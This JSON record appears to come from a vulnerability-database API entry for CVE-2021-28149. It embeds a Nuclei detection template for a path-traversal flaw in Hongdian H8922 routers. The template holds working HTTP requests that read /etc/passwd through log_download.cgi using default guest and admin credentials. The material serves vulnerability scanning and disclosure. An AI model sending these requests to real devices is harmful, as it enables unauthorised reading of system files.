{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-28149/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-28149/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-28149/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-28149/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-28149/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-28149"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-28149"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-28149.yaml",
      "nuclei_template_severity": "medium",
      "nuclei_template_yaml": "id: CVE-2021-28149\n\ninfo:\n  name: Hongdian H8922 3.0.5 Devices - Local File Inclusion\n  author: gy741\n  severity: medium\n  description: |\n    Hongdian H8922 3.0.5 devices are vulnerable to local file inclusion. The /log_download.cgi log export handler does not validate user input and allows a remote attacker with minimal privileges to download any file from the device by substituting ../ (e.g., ../../etc/passwd) This can be carried out with a web browser by changing the file name accordingly. Upon visiting log_download.cgi?type=../../etc/passwd and logging in, the web server will allow a download of the contents of the /etc/passwd file.\n  impact: |\n    Successful exploitation of this vulnerability can result in unauthorized access to sensitive files, potentially leading to further compromise of the system.\n  remediation: |\n    Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Hongdian H8922 3.0.5 Devices.\n  reference:\n    - https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/\n    - http://en.hongdian.com/Products/Details/H8922\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-28149\n    - https://github.com/ARPSyndicate/cvemon\n    - https://github.com/ArrestX/--POC\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 6.5\n    cve-id: CVE-2021-28149\n    cwe-id: CWE-22\n    epss-score: 0.1592\n    epss-percentile: 0.96772\n    cpe: cpe:2.3:o:hongdian:h8922_firmware:3.0.5:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: hongdian\n    product: h8922_firmware\n  tags: cve2021,cve,hongdian,traversal,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /log_download.cgi?type=../../etc/passwd HTTP/1.1\n        Host: {{Hostname}}\n        Cache-Control: max-age=0\n        Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=\n      - |\n        GET /log_download.cgi?type=../../etc/passwd HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic YWRtaW46YWRtaW4=\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"application/octet-stream\"\n\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n          - \"sshd:[x*]\"\n          - \"root:[$]\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a004630440220588bb1bf190b35a71f64fbd5570bd49304a058db701ee162f48c7082d95891dc022068f3ec0c0a02760332d733568c4c99e8e63e37480198255657405d8ce9896e23:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-28149"
}